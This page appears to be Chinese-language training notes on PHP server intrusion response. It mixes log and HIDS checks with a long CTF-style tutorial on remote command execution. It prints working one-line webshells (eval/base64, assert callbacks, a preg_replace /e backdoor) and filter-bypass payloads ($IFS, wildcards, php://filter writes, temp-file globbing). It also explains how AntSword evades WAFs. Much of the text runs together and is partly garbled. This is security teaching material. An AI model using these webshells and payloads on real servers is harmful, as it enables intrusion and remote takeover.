资讯中心

PHP服务器入侵应急响应全流程:Webshell查杀、RCE漏洞溯源、木马后门彻底清除

📅 2026/8/11 2:22:49
PHP服务器入侵应急响应全流程:Webshell查杀、RCE漏洞溯源、木马后门彻底清除
1.1服务器被黑后的应急响应1.web服务 有可能被黑上传了webshell2.服务器是windows 有可能被人上传一句话木马msf cc 远程控制3.服务器Linux ssh 被人暴力破解 可能性较低 —/var/log查看日志 ssh登录信息这种双重验证逻辑很常见先用GET检查文件存在性再用POST执行恶意操作。4.服务器 Windows 中了挖矿木马银狐木马怎么排查怎么消除所有隐患留后门 守护程序典型php webshell?phpeval(base64_decode(base64_decode($POST[ant])));?1.解析1eval — 把字符串作为PHP代码执行2base64_decode()免杀绕过作用3两次编码就要两次解析$POST[ant]从HTTP请求中获取名为ant的参数值。这是攻击者输入恶意指令的入口。base64_decode(...)将ant的值进行两次Base64解码。这是为了绕过简单的内容过滤比如WAF防火墙或代码扫描器让木马文件看起来不那么显眼。eval(...)这是PHP中最危险的函数之一。它会将括号内的字符串当做PHP代码来执行。2.执行逻辑攻击者发送一个请求ant参数的值是YOUR_BASE64_ENCODED_PAYLOAD。服务器接收后第一次解码得到一串中间代码。第二次解码得到真正的恶意PHP代码例如system(whoami);。eval执行这串代码服务器就等于把控制权交给了攻击者。?phpeval($_GET(123));php代码可以执行系统命令system( )3.查看访问日志grep -R bzz /var/logh/nginx/access.log图片马后门webshell$_POST()—— 从HTTP请求体获取数据 表单提交$_GET()—— 从URL地址栏获取数据后面的部分$_SERVER()—— 获取服务器和执行环境信息$_REQUEST—— GET POST COOKIE默认第一个是简单的base64比较第二个更是直接把代码裸写在图片里代码排查过程首先用type F命令查找当前网站目录下特定时间段5月27日10:30-12:00被修改过的文件发现有两个文件被改动。进一步检查发现其中一个文件里混淆了JavaScript代码这段代码通过定时器每110.1秒执行一次最终会加载一个可疑域名——这显然不是正常的CDN行为。1.2RCE(remote command exec)远程命令执行执行系统命令 php 利用 他自带函数来执行系统命令1.RCE命令执行system mb_replace?2.webshell 绕过技巧 不发现listen127.0.0.1:9000curl http://127.0.0.1/phpinfo.php例1cat/more/less flagflag 限制了----- 正则占位符一个 *多个其他思路?echoshell_exec(cat ls |grep fl)输出system()直接打印命令输出的最后一行返回字符串同时实时输出所有内容shell_exec()以字符串形式返回命令的完整输出exec()只返回命令输出的最后一行完整输出放入第二个数组参数proc_open()利用管道输出,不返回任何值直接把原始输出原样发送到浏览器包括二进制数据passthru()返回进程资源句柄可自定义标准输入/输出/错误流stdin/stdout/stderrescapeshellcmd()过滤函数例2反斜杠 单引号’?cpassthru(cat fla?);例3?cpassthru(tac fla?);想办法替代空格%20$IFS$1(1-9都可以)%0a%01%a0%09成功了 经验足够多才行熟能生巧其他思路伪协议 大型比赛 渗透中少见php://filterglob://全局php://伪协议php://input 访问请求的原始数据的只读流。php://filter 数据流打开时的筛选过滤应用。过滤器字符串 string转大小写 string.strip_tags过滤标签转换 convertbase64-encode 编码base64-decode 解码 convert.iconv.* —utf8压缩 (zlib.deflate压缩和zlib.inflate解压)加密(mcrypt.*和mdecrypt.*使用 libmcrypt 提供了对称的加密和解密)两个一起用?cpassthru($_GET[a])acat flagshow_source(next(array_reverse(scandir(pos(localeconv())))));show_source/print_r scandir 扫描目录 array_reverse 字符翻转print_r(show_source(array_rand(array_filter(pos(localeconv()))));array_filter 对调 array_rand 取任意一个多多个例4后门文件 filenameshell.phptxt?phpeval($_POST[123]);.拼接$content$content$_POST[test]?phpexit;??phpeval($_POST[123]);清除?php/?base64编码规范4位一组 非法字符?;?直接丢弃--phpexit 只有7位抓包写入txtaPD9waHAgcGhw5mbygp0wfilenamephp://filter/writeconvert.base64-decode/rescorceshell.php例5?paramecho$_GET[0];0ls-al?param$_GET[0];0echo?php phpinfo();?shellcode.php先将代码进行Base64编码转换这种编码方式能有效规避特殊字符问题。Base64编码后的字符串可以安全地逐段追加到目标文件N中。代码转换和优化的过程:用get传参方式减少长度在底层C源码中找到八替代append参数将pp代码转为base64形式再用伪协议转换回来。传参PHP 文件包含漏洞利用语句并且使用了PHP 伪协议进行攻击。foo.php?paraminclude$_GET[1];1php://filter/readconvert.base64-decode/resourceN相当于执行了includephp://filter/readconvert.base64-decode/resourceN;蚁剑冰蝎、菜刀例6ids分类流量 网络流量 NIDS network日志 HIDS host日志 web被渗透 ssh被爆破 …都需要日志支撑100台日志需要统一每时每刻将100台日志采集到一台日志服务器上采用C/S架构的HIDS系统在每台服务器部署Agent代理实时采集日志数据统一推送到中央Server进行规则检测检测到异常立即在大屏告警DS入侵检测系统和HIDS主机入侵检测系统是安全防护中的重要工具。IDS主要负责检测比如定期扫描磁盘查看是否有恶意文件落地但它只能告警无法直接防御。防御需要人工介入–24小时轮班到–设置刺耳报警铃—先隔离后处理的应急策略。流量检测主要关注两类内容一是远程控制木马Cr木马的流量二是恶意软件we share的流量。这两类检测通常依赖商业级安全设备指出开源项目—开源安全平台的HIDS工具它能整合日志检测、可视化数据柱状图/饼状图还能分析漏洞趋势。基于**HIDS主机入侵检测系统**的进程监控方式通过分析日志来识别威胁。由于HIDS无法监控网络流量所以只能检测到CS的进程活动。Observe-Protect-Adapt的网络流量检测工具。1支持PCAP文件格式就是Wireshark抓包用的那种2能检测各类网络协议流量包括HTTP、HTTPS、DNS、DHCP等常见协议。Cobalt StrikeCS的流量特征关键在于POST请求的使用方式。CS作为典型的客户端-服务端架构所有命令执行都通过POST方式提交到服务端再由服务端推送给受害者机器执行。蚁剑是怎么绕过执行的绕过层面核心手段针对的问题功能限制绕过使用插件系统如绕过disable_functions插件。 常见技术LD_PRELOAD劫持、攻击FastCGI、利用Mod CGI等。PHP配置禁用system()等危险函数。流量特征绕过使用自定义编码器如Base64、RSA加密、动态密钥等。 将攻击载荷编码为无特征字符串再在服务端解码执行。被WAFWeb应用防火墙或流量监控设备拦截。蚁剑通过插件系统解决服务器限制通过编码器隐藏流量特征两者结合实现绕过执行。回调函数call_user_func?phpcall_user_func(assert,$_REQUEST[pass]);//assert是一个函数 传参 eval执行传入的命令或表达式//$_REQUEST get post cookie一是用 file_put_contents函数 写入更直观的一句话木马方便直接连接?\$_GET(\$_POST[1]);?添加转义字符\\ 防止被编码?$_GET($_POST[1]);?是不是一句话木马如何利用 二是由于原代码本身已具备回调功能 可以直接利用现有后门建立连接无需额外编写木马文件。在PHP中eval和assert的行为差异源于它们的本质不同。eval从始至终都是语言构造器类似语法关键字而不是标准函数所以无法用变量动态调用。而assert在PHP5时是函数支持动态调用但PHP7后也被改为语言构造器导致动态调用失效。foo.php?1[]test1[]phpinfo();2assertusort(…$_GET);php5.6…变长参数》usort回调后门》任意代码执行例7ls -al /tmp/ 查看临时文件:/tmp查找当这个函数结束时临时文件自动删除为了看见临时文件身影----添加sleep(30);生成临时文件phpAdCdCe --1文件内容由用户定义2需要通过cresec等命令来执行3找到临时文件的路径不能超过8个字符的限制。 /t* /p*1.txt内容: #!/bin/bash id可以通过文件上传来实现课后自行尝试使用文件上传功能验证通过匹配临时文件路径来执行恶意代码的绕过方案。例8临时文件$code$_GET[code];浏览器自动解码成了一个个不可见的黑方块eval($code);eval执行了php取反操作将一个个不可见的黑方块 转为可正常见的php代码(phpinfo)()观察文件结构差异的重要性。临时文件有一个关键特征是包含大写字母而其他文件大多没有这个特点。从符号开始到某个特定字符之间的ASCII码范围包含了所有大写字母找临时文件命令 ls-al/???/????????[-[]code./???/????????[-[];?php7 short_tag 短标签??phpecho遵循官方文档 code??./???/????????[-[];RCE远程代码执行绕过技术中有两种常见方式一种是利用未禁用英文字母和数字的情况通过特定字符如T字符实现最短路径绕过另一种是当字母数字被禁用时使用通配符匹配最后一位大写字符来绕过。例9?phpechourlencode(~phpinfo);//%8F%97...//(~%8F%97...)();code(~%8F%97...)();1.里面有字符数字2.怎么执行的如何拆分长代码1. 按时间顺序分步写入需要将长代码拆分成7个字符以内的片段然后按照1.1.1的时间顺序依次写入。比如先写入C点gpt作为开头。2. 文件名比内容更重要该发言人指出只需要创建特定文件名如hp文件而不需要在意文件内容因为后续操作主要利用文件名。3. 拼接技巧演示了如何通过分步写入来拼接完整命令比如先写d再写base64最终组合成base64-d这样的完整命令。4. 时间排序的应用使用ls -T按时间倒序排列这样后写入的文件会排在前列便于查看操作顺序。5. 木马写入方法建议将编码后的木马也采用同样的分步写入方式最后再用ls -T来确认写入顺序是否正确。重定向方式ls-t#排序echo......|base64-d-c.php c.php包含一句话木马值例10无参RCE正则/ [^W]((?R)?) 多个无参函数 demo(test());codenext(getallhearders())system(id);getallheaders()获取当前请求的所有请求头信息。 current获取第一个元素 post 也是 end最后一个 next 下一个只能一次var_dump(getallhearders())#打印无参读文件show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd)))))));flag.php localconv 获取scandir arry_filp key value 互换 array_read读取文件路径不止一种方法比如用getcwd()直接获取当前工作目录通过dirname配合其他函数获取绝对路径数组套数组二维数组 :最外层是一个数组其第一个元素里又嵌套了一个数组。要获取phpinfo需要分两步走先取外层数组的第一个元素再取内层数组的第一个元素。?leonphpinfo();codeeval(pos(pos(get_defined_vars())));第一个eval只是完成了字符串提取而真正执行代码需要第二个eval。总结RCE远程代码执行题目的两种解法。第一种解法是利用临时文件因为题目没有限制英文和数字所以可以用-T参数轻松匹配到临时文件这样也解决了临时文件权限不足的问题。第二种解法则是通过重定向符号比如或来实现这种方法更简洁绕过安全限制的几种技术方案。第一种是通过base64解码写入文件再执行最终生成一句 话木马文件。第二种是在禁用字母数字、下划线等字符时通过临时文件匹配来执行代码。这里有个关键点临时文件名最后一位可能是大写字母需要用特殊字符如来精准匹配。正则替换函数使用方法。关键点在于理解preg_replace这个函数的参数含义第一个参数是正则表达式匹配规则第二个是原始字符串要被处理的文本第三个是替换内容匹配到的部分会被替换成这个值。例11preg_replace函数执行后门preg_replace函数执行后门的方式。她提到在PHP 8.0以下版本可以用这个函数来执行代码而8.0以上版本则改用eval函数了。首先是匹配模式正则表达式然后是原始字符串最后是要替换成的内容。?phpfunctioncomplex($re,$str){returnpreg_replace(/(.$re.)/ei,strtolower(\\1),$str);}//eval(Aptil1,2023)//最终eval(strtolower(\\1))//strtolower转小写foreach($_GETas$re$str){echocomplex($re,$str).\n;}functiongetFlag(){eval($_GET[cmd]);}payload 分析1.*{${phpinfo()}}.可以匹配任意字符,除了换行符.*匹配任意多个字符PHP处理GET传参时的一个特性.自动转换为_2\S*{${phpinfo()}}\S*同样匹配任意多个字符${}什么作用?$ahello和$$a$helloworldecho$a${$a}在双引号(才会解析)中使用{$a}时大括号会触发变量解析最终输出hello world。3?\S*${getFlag()}cmdphpinfo();字符串解析触发函数执行$re\S*$str${phpinfo()}reg_replace函数的RCE漏洞原理: 该漏洞源于PHP的reg_replace函数在特定版本7.3之前中-e参数会启用代码执行功能。攻击者可通过构造正则表达式使其匹配到用户可控的变量如phpinfo并利用双引号的变量解析特性使该变量被eval函数执行。利用方式: 通过GET参数构造payload利用正则匹配和双引号变量解析执行任意PHP代码。防御: 将代码中的双引号改为单引号阻止变量解析或直接禁用-e参数。